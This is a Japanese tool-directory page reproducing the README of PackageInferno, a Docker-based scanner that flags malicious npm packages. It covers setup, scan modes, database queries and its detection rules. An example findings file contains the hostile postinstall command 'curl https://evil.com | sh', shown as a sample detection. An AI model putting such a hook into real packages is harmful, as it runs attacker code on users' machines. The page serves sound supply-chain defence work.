Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Package-Inferno — コミュニティのための公開パッケージスキャナー | Kitploit
ツール/GitHubGitHub/mhaggis/package-inferno
静的分析脆弱性スキャナーコンテナセキュリティマルウェア分析クラウドセキュリティDevSecOpsシークレット検出脅威インテリジェンスサプライチェーンセキュリティ
GitHubmhaggis/package-inferno

Package-Inferno

コミュニティのための公開パッケージスキャナー

リポジトリを見る
1337ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PackageInferno

PackageInferno Logo

驚くほどシンプルなDockerファーストのnpmサプライチェーンスキャナー。1つのcomposeファイルで以下が実行されます:

  • Enumerator → パッケージのキューを構築
  • Fetcher → tarballをダウンロード(オプションでS3へアップロード)
  • Analyzer → 静的解析 + オプションのYARA
  • Postgres → 検出結果を保存するローカルDB
  • Streamlit Dashboard → http://localhost:8501 で検出結果を可視化

これはコンテナ専用エディションです。このプロジェクトはEC2、SQS、RDSを使用してスケールするように構築できます。ツールセットにはそのための設定のほとんどが含まれています。


得られるもの

  • Docker内でのエンドツーエンドパイプライン(Docker以外のホストインストールは不要)
  • scan.yml による設定可能なルール(許可リスト、しきい値、YARA)
  • ローカルPostgresスキーマ + スキャン履歴(scan_runs)がすぐに使える
  • tarballと検出結果のオプションのS3アップロード(認証情報は ~/.aws を使用)
  • Streamlitダッシュボード: 検索、ドリルダウン、分析

目次

  • docker-compose.yml – サービス: db、enumerator、fetcher、analyzer、dashboard、init-db
  • enumerator/ – NDJSONキューを構築するNodeワーカー
  • fetcher/ – tarballをダウンロードするNodeワーカー(有効な場合はS3へアップロード)
  • analyzer/ – Python静的アナライザー(オプションのインラインYARA付き)
  • dashboard/ – Streamlitアプリ(ポート8501)
  • infra/migrations.sql – コアDBスキーマ(packages、versions、findings、scores、indexes)
  • infra/20251106_scan_runs.sql – スキャン履歴テーブル
  • scan.yml – 解析設定(rules、scoring、allowlists、YARA)
  • scripts/run_pipeline.sh – enumerate → fetch → analyze を実行
  • scripts/init_db.sh – DBスキーマを初期化
  • scripts/test_setup.sh – セットアップの自動検証
  • SCANNING_GUIDE.md – 詳細なスキャン戦略と例

クイックスタート(ローカル)

前提条件: Compose v2 を備えた Docker Desktop(またはエンジン)。

ワンラインインストール

root@kitploit:~
curl -fsSL https://raw.githubusercontent.com/MHaggis/Package-Inferno/main/install.sh | bash

リポジトリを ~/package-inferno にクローンし、開始するための手順を表示します。

オプションA: ビルド済みイメージを使用(最速)

GitHub Container Registryからビルド済みコンテナをプルして実行します:

root@kitploit:~
# Clone the repo (for config files and scripts)
git clone https://github.com/MHaggis/Package-Inferno.git
cd Package-Inferno

# Run with pre-built images
docker compose -f docker-compose.ghcr.yml up -d db
./scripts/init_db.sh
SEEDS="lodash,express" docker compose -f docker-compose.ghcr.yml run --rm enumerator
docker compose -f docker-compose.ghcr.yml run --rm fetcher
docker compose -f docker-compose.ghcr.yml run --rm analyzer

利用可能なイメージ:

  • ghcr.io/mhaggis/package-inferno/enumerator:main
  • ghcr.io/mhaggis/package-inferno/fetcher:main
  • ghcr.io/mhaggis/package-inferno/analyzer:main

オプションB: ソースからビルド

セットアップの自動検証

インストールを検証するためにテストスクリプトを実行します:

root@kitploit:~
./scripts/test_setup.sh

これにより:

  • ✓ Docker と Docker Compose をチェック
  • ✓ データベースを起動して初期化
  • ✓ テストスキャンを実行(2パッケージ)
  • ✓ 検出結果が正しく保存されていることを確認

手動セットアップ

  1. Postgresを起動し、スキーマを初期化:
root@kitploit:~
docker compose up -d db
./scripts/init_db.sh
  1. パイプラインを実行:
root@kitploit:~
./scripts/run_pipeline.sh
  1. ダッシュボードを起動:
root@kitploit:~
docker compose up -d dashboard
# open http://localhost:8501

DBが有効な場合、検出結果は ./out/findings/*.findings.json と findings テーブルに保存されます。


スキャンモード

PackageInfernoは、目的に応じて複数のスキャン戦略をサポートしています:

1. 特定パッケージのスキャン(テスト推奨)

解析したい特定パッケージを対象にします:

root@kitploit:~
# Single command with seeds
export SEEDS="lodash,express,axios"
./scripts/run_pipeline.sh

# Or from a file
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
./scripts/run_pipeline.sh

最初にテストした方法: クイック検証には SEEDS="is-odd,is-even" を使用しました。

2. npmレジストリからのスキャン(_all_docs)

npmレジストリからページング処理でパッケージをスキャンします:

root@kitploit:~
# Clean previous runs
rm -rf downloads/* out/*

# Scan 2 pages of 10 packages each (20 packages)
export MAX_CHUNKS=2        # Number of pages
export CHUNK_LIMIT=10      # Packages per page
unset SEEDS                # Important: disable seeds mode

# Run individual steps for better visibility
docker compose run --rm enumerator  # Discovers and queues
docker compose run --rm fetcher     # Downloads tarballs
docker compose run --rm analyzer    # Scans for threats

出力例:

root@kitploit:~
config: chunkLimit=10, maxChunks=2
checking recent changes feed...
changes feed: enqueued 2 new versions
enumerating via _all_docs (fresh scan)
page 1/2 count: 10
page 2/2 count: 10
done, enqueued 22 (22 new versions)

3. 継続的監視(無制限スキャン)

npmレジストリ全体をスキャンします:

root@kitploit:~
export MAX_CHUNKS=0        # 0 = unbounded
export CHUNK_LIMIT=100     # Larger batches for efficiency
./scripts/run_pipeline.sh

警告: これは数時間から数日間実行され、数十万のパッケージをスキャンします。ディスク容量とデータベースサイズを監視してください。

4. 中断されたスキャンの再開

Enumerator はカーソル位置を ./out/enumerator_state.json に保存します:

root@kitploit:~
{
  "last_seq": "0",
  "last_startkey": "package-name",
  "last_run": "2025-11-23T19:24:49.123Z",
  "last_processed": 22,
  "last_new": 22
}

パイプラインを再実行するだけで、最後のカーソルから再開されます:

root@kitploit:~
./scripts/run_pipeline.sh  # Automatically resumes

新しいスキャンを強制するには:

root@kitploit:~
rm -f out/enumerator_state.json
./scripts/run_pipeline.sh

スキャン結果の例

22パッケージの2ページスキャンで、PackageInfernoが検出したものは次のとおりです:

root@kitploit:~
-- Top suspicious packages by score
SELECT p.name, s.score, s.label, COUNT(f.id) as findings 
FROM packages p 
JOIN versions v ON p.id = v.package_id 
JOIN scores s ON v.id = s.version_id 
LEFT JOIN findings f ON v.id = f.version_id 
GROUP BY p.name, s.score, s.label 
ORDER BY s.score DESC;

-- Results:
   name                | score | label      | findings
-----------------------+-------+------------+----------
 rendition             | 606   | malicious  | 153
 vs-deploy             | 454   | malicious  | 119
 --123hoodmane-pyodide | 213   | malicious  | 46

rendition がこれほど疑わしい理由:

  • 57 × url_outside_allowlist - 許可リスト外のドメイン
  • 46 × suspicious_pattern - シェル/evalパターン
  • 12 × advanced_obfuscation - 16進エンコード、XOR、文字列配列
  • 6 × big_base64_blob - 大きなエンコードペイロード
  • 18 × url_in_code - 埋め込みURL

スコアリングシステム(scan.yml で設定)はこれらの検出結果を集計して、リスクスコアとラベル(clean、suspicious、または malicious)を生成します。


結果の確認

ダッシュボード経由(推奨)

docker compose up -d dashboard 実行後、 http://localhost:8501 を開きます

機能:

  • 📊 概要タブ: サマリー統計、スコア分布チャート
  • 🔍 検索タブ: パッケージ名で検索、リスクラベルでフィルタ
  • ⚠️ 高リスクタブ: ドリルダウン可能な上位の悪意のあるパッケージ
  • 🎯 C2分析: 既知の外部送信(exfiltration)エンドポイントを持つパッケージ
  • 📈 分析タブ: トレンド、一般的なルール、時間的分析

データベースクエリ経由

カスタム分析のための直接SQLアクセス:

root@kitploit:~
# Connect to database
docker exec -it pi-postgres psql -U piuser -d packageinferno

便利なクエリ:

root@kitploit:~
-- Packages with credential theft attempts
SELECT DISTINCT p.name, v.version, s.score
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
JOIN scores s ON v.id = s.version_id
WHERE f.rule = 'env_snoop'
ORDER BY s.score DESC;

-- All C2/webhook destinations found
SELECT p.name, f.details->>'endpoints' as c2_endpoints
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'c2_webhook';

-- Typosquatting attempts
SELECT 
  p.name,
  f.details->>'target_package' as impersonating,
  f.details->>'similarity' as similarity_pct,
  f.details->>'typosquat_type' as attack_type
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'typosquat_detected'
ORDER BY (f.details->>'similarity')::float DESC;

-- Packages with native binaries
SELECT p.name, f.details->>'path' as binary_path
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'native_binary_present';

JSONファイル経由

検出結果は ./out/findings/ 配下に構造化JSONとしても保存されます:

root@kitploit:~
# View findings for a specific package
cat out/findings/[email protected] | jq .

# Count findings by severity
jq -r '.findings[].severity' out/findings/*.findings.json | sort | uniq -c

# Extract all C2 URLs found
jq -r '.findings[] | select(.rule=="c2_webhook") | .details.full_urls[]' out/findings/*.findings.json

オプション: S3統合(tarball + 検出結果)

S3に成果物を置きたい場合:

  • バケットを作成します(名前は自由に選択):
    • package-inferno-tarballs(生のnpm tarball)
    • package-inferno-findings(アナライザーの出力)
  • ~/.aws に有効な認証情報が含まれていることを確認します(プロファイルまたは環境ベース)。
  • パイプライン実行前に環境変数をエクスポートします:
root@kitploit:~
export AWS_REGION=us-west-2
export S3_TARBALLS=package-inferno-tarballs
export S3_FINDINGS=package-inferno-findings
export AWS_PROFILE=default   # optional; or rely on env creds

composeは ~/.aws をfetcherとanalyzerにマウントします。LOCAL_ONLY=false の場合、fetcherはtarballを S3_TARBALLS にアップロードします。S3_FINDINGS が設定されている場合、analyzerはローカルに書き込んだ後、検出結果JSONをアップロードします。

使用しているユーザー/ロールにアタッチする最小IAMポリシー例:

root@kitploit:~
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "S3Access",
      "Effect": "Allow",
      "Action": ["s3:PutObject","s3:GetObject","s3:ListBucket"],
      "Resource": [
        "arn:aws:s3:::package-inferno-tarballs",
        "arn:aws:s3:::package-inferno-tarballs/*",
        "arn:aws:s3:::package-inferno-findings",
        "arn:aws:s3:::package-inferno-findings/*"
      ]
    }
  ]
}

設定

主要な設定項目は scan.yml にあります。主なハイライト:

  • analysis.allow_domains – 「外部許可リスト」違反を出さないドメイン
  • analysis.allowlist.build_tools – 良性のビルド手順の正規表現
  • analysis.yara.* – インラインYARAの有効化(デフォルトはオン)、ルールパス、サイズ/時間制限
  • scoring.rule_weights と scoring.thresholds – 「suspicious/malicious」の調整

設定できるコンテナ環境変数:

  • Enumerator:
    • DAYS(デフォルト30)、CHUNK_LIMIT(デフォルト100)、MAX_CHUNKS(デフォルト5)
    • SEEDS、SEEDS_FILE – シードパッケージ名
    • LOCAL_ONLY=true(キューをファイルに出力)、DB_URL(DBに対する重複排除用)
  • Fetcher:
    • LOCAL_ONLY=false でtarballをS3にアップロード
    • S3_TARBALLS、AWS_REGION、AWS_PROFILE
  • Analyzer:
    • MAX_EXTRACT_BYTES=0 で無制限に抽出
    • S3_FINDINGS、AWS_REGION

DB URLはローカルcompose用に事前設定されています:

root@kitploit:~
postgres://piuser:pipass@db:5432/packageinferno

仕組み(フロー)

  1. Enumerator がnpmレジストリにアクセスし、NDJSONキューを ./out/fetch_queue.ndjson に書き込みます(「queued」バージョンをDBにupsertすることも可能)。
  2. Fetcher がキューを読み取り、tarballを ./downloads にダウンロードし、設定されていればS3にアップロードします。
  3. Analyzer がヒューリスティック+オプションのYARAでtarballをスキャンし、構造化された検出結果JSONを ./out/findings に書き込みます。DBが設定されている場合は、検出結果とスコアをupsertします。
  4. Dashboard がローカルDBにクエリして統計を可視化し、パッケージを検索して詳細にドリルダウンします。

コンポーネント詳細

Enumerator (enumerator/src/enumerator.js)

目的: スキャンするnpmパッケージを検出し、作業キューを構築します。

処理内容:

  • npmのレジストリとレプリケーションフィードからパッケージメタデータを取得
  • 複数のモードをサポート:
    • シードモード: SEEDS 環境変数または SEEDS_FILE を使用して特定のパッケージをスキャン
    • 変更フィード: _changes エンドポイントを監視して最近の更新を検知
    • フルスキャン: _all_docs エンドポイントをページング処理(カーソル再開可能)
  • 分析済みバージョンの再スキャンを避けるためDBと重複排除
  • NDJSONキューを ./out/fetch_queue.ndjson またはSQSに出力

主要な環境変数:

  • SEEDS="pkg1,pkg2" - スキャンするパッケージ名のカンマ区切りリスト
  • SEEDS_FILE - 1行に1パッケージを記載したテキストファイルのパス
  • MAX_CHUNKS=5 - ページングの制限(0 = 無制限)
  • CHUNK_LIMIT=100 - APIページあたりのパッケージ数
  • DB_URL - 重複排除用のPostgres接続

使用例:

root@kitploit:~
# Scan specific packages
export SEEDS="lodash,express,axios"
docker compose run --rm enumerator

# Scan from file
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
docker compose run --rm enumerator

Fetcher (fetcher/src/fetcher.js)

目的: レジストリからnpm tarballをダウンロードします。

処理内容:

  • ./out/fetch_queue.ndjson(またはSQS)からキューを読み取る
  • リトライロジックとバックオフ付きでtarballをダウンロード
  • SHA1チェックサムを検証(不一致は警告)
  • ./downloads/ に [email protected] として保存
  • オプションでS3バケット(S3_TARBALLS)にアップロード
  • 完了したジョブをアナライザーキューに転送(SQSモード)

主要な環境変数:

  • LOCAL_ONLY=true - S3アップロードをスキップ(ローカル専用モード)
  • S3_TARBALLS - tarball保存用のS3バケット名
  • DOWNLOAD_DIR=./downloads - ローカル出力ディレクトリ
  • MAX_RETRIES=5 - HTTPリトライ回数

S3キー形式: npm-raw-tarballs/{name}/{version}.tgz


Analyzer (analyzer/src/analyzer.py)

目的: パッケージ内の悪意のあるパターンを検出する静的解析エンジンです。

処理内容:

  • 安全チェック(パストラバーサル、サイズ制限)付きでtarballを展開
  • メタデータとライフサイクルフックを package.json から解析
  • すべてのファイルを不審なパターンについてスキャン:
    • ライフサイクルフック: シェルの起動、インストールスクリプト内のダウンローダー
    • ネットワーク活動: HTTPクライアント、C2ウェブフック(Discord、Telegramなど)
    • 難読化: 高エントロピー、base64ブロブ、16進エンコード、XOR
    • 認証情報の窃取: 環境変数へのアクセス、機密パスへのファイルシステム書き込み
    • タイポスクワッティング: レーベンシュタイン距離 + Unicode置換チェック
    • フィッシング: 偽CAPTCHA、認証情報フォーム、iframe埋め込み
    • バイナリ: ネイティブ実行ファイル、WASM、プリビルドフェッチャー
  • 有効な場合、YARAルール(YARA-Forgeからダウンロード)を実行
  • scan.yml の重み付きルールを使用して検出結果をスコアリング
  • 構造化JSONを ./out/findings/ に書き込み、DBにupsert

検出ルール(完全なリストは analyzer/src/analyzer.py を参照):

  • lifecycle_script - リスクのあるinstall/postinstallフック
  • url_outside_allowlist - 許可されていないドメインへのネットワーク呼び出し
  • c2_webhook - 既知の外部送信(exfiltration)エンドポイント(Discord、Slack、Telegram)
  • env_snoop - AWSキー、トークン、パスワードへのアクセス
  • writes_outside_pkg - .ssh、.npmrc、システムディレクトリへのファイルシステム書き込み
  • typosquat_detected - 人気パッケージに類似したパッケージ名
  • advanced_obfuscation - 16進、XOR、文字列配列、制御フロー平坦化
  • yara_match - YARAルールのヒット(マルウェア、エクスプロイト、ウェブシェル)
  • phishing_form - 認証情報を収集するフォーム
  • native_binary_present - PE/ELF/Mach-O実行ファイル

主要な環境変数:

  • MAX_EXTRACT_BYTES=0 - 展開サイズ制限(0 = 無制限)
  • SCAN_YML=/app/scan.yml - 設定ファイルのパス
  • DB_URL - 検出結果保存用のPostgres接続
  • S3_FINDINGS - 検出結果アップロード用のS3バケット

出力形式 (*.findings.json):

root@kitploit:~
{
  "tgz": "/downloads/[email protected]",
  "findings": [
    {
      "rule": "lifecycle_script",
      "severity": "high",
      "details": {
        "key": "postinstall",
        "value": "curl https://evil.com | sh",
        "tags": ["shell_spawn", "downloader"],
        "explanation": "High-risk postinstall hook: shell_spawn, downloader"
      }
    }
  ]
}

アナライザーのカスタマイズ

新しい検出ルールの追加

1. パターンベースの検出(analyzer/src/analyzer.py に追加):

root@kitploit:~
# Define regex pattern
CUSTOM_PATTERN_RE = re.compile(rb'dangerous-function\s*\(', re.I)

# Add to analyze_file_bytes() function
def analyze_file_bytes(path: Path, b: bytes, allow_domains: list[str]):
    # ... existing code ...
    
    # Your custom check
    if CUSTOM_PATTERN_RE.search(b):
        out.append({
            'rule': 'custom_dangerous_function',
            'severity': 'high',
            'details': {
                'path': str(path),
                'explanation': 'Detected dangerous-function call'
            }
        })
    
    return out

2. スコアリングの重みを追加(scan.yml):

root@kitploit:~
scoring:
  rule_weights:
    custom_dangerous_function: 6  # Your new rule
    # ... existing rules ...
  thresholds:
    suspicious: 7
    malicious: 12

3. スコアリング関数を更新(analyzer/src/analyzer.py):

root@kitploit:~
def score_findings(findings, scoring):
    weights = scoring.get('rule_weights', {})
    score = 0
    for f in findings:
        rule = f['rule']
        w = 0
        # ... existing rules ...
        elif rule == 'custom_dangerous_function':
            w = weights.get('custom_dangerous_function', 6)
        score += int(w)
    # ... rest of function ...

カスタムYARAルールの追加

1. カスタムルールファイルを作成(yara-rules/custom.yar):

root@kitploit:~
rule CustomMalware {
    meta:
        description = "Detects custom threat pattern"
        severity = "high"
    strings:
        $s1 = "malicious_string" ascii
        $s2 = /evil_regex_[0-9]{4}/
    condition:
        any of them
}

2. scan.yml を更新:

root@kitploit:~
analysis:
  yara:
    enabled: true
    rules_path: yara-rules/custom.yar  # Point to your rules
    max_file_size_mb: 10
    timeout_seconds: 30

3. docker-compose.yml でカスタムルールをマウント:

root@kitploit:~
analyzer:
  volumes:
    - ./yara-rules:/app/yara-rules:ro

ドメイン許可リスト

誤検知を減らすために信頼できるドメインを scan.yml に追加します:

root@kitploit:~
analysis:
  allow_domains:
    - registry.npmjs.org
    - github.com
    - your-cdn.com  # Add your domain

良性のビルドツール

正当なビルドコマンドを許可リストに追加:

root@kitploit:~
analysis:
  allowlist:
    build_tools:
      - \bmy-custom-build-tool\b
      - \bmake\s+clean\b

トラブルシューティング

  • 「Database connection failed」: docker compose up -d db が実行されていることを確認し、./scripts/init_db.sh を再実行します。
  • S3へのプッシュ時に「AccessDenied」: ~/.aws/credentials、AWS_REGION、バケットポリシー/権限を確認します。
  • YARAタイムアウト: scan.yml でファイルサイズ制限を下げるか、インラインYARAを無効にします(analysis.yara.enabled: false)。
  • npmからのレート制限: パイプラインはバックオフ付きでリトライし、UAを設定します。CHUNK_LIMIT を下げるか、MAX_CHUNKS を段階的に増やすことができます。
ツールをダウンロード
モードユースケース速度カバレッジコマンド
特定シード既知パッケージのテスト/調査最速対象を絞るSEEDS="pkg1,pkg2"
小規模バッチセットアップの検証、サンプルスキャン高速10〜100パッケージMAX_CHUNKS=2 CHUNK_LIMIT=10
全レジストリ包括的なサプライチェーン監査数時間〜数日200万+パッケージMAX_CHUNKS=0 CHUNK_LIMIT=100
変更フィード新規リリースの監視(自動的に含まれる)リアルタイム最近の更新組み込み
  • DB_URL で検出結果とスコアをPostgresに書き込み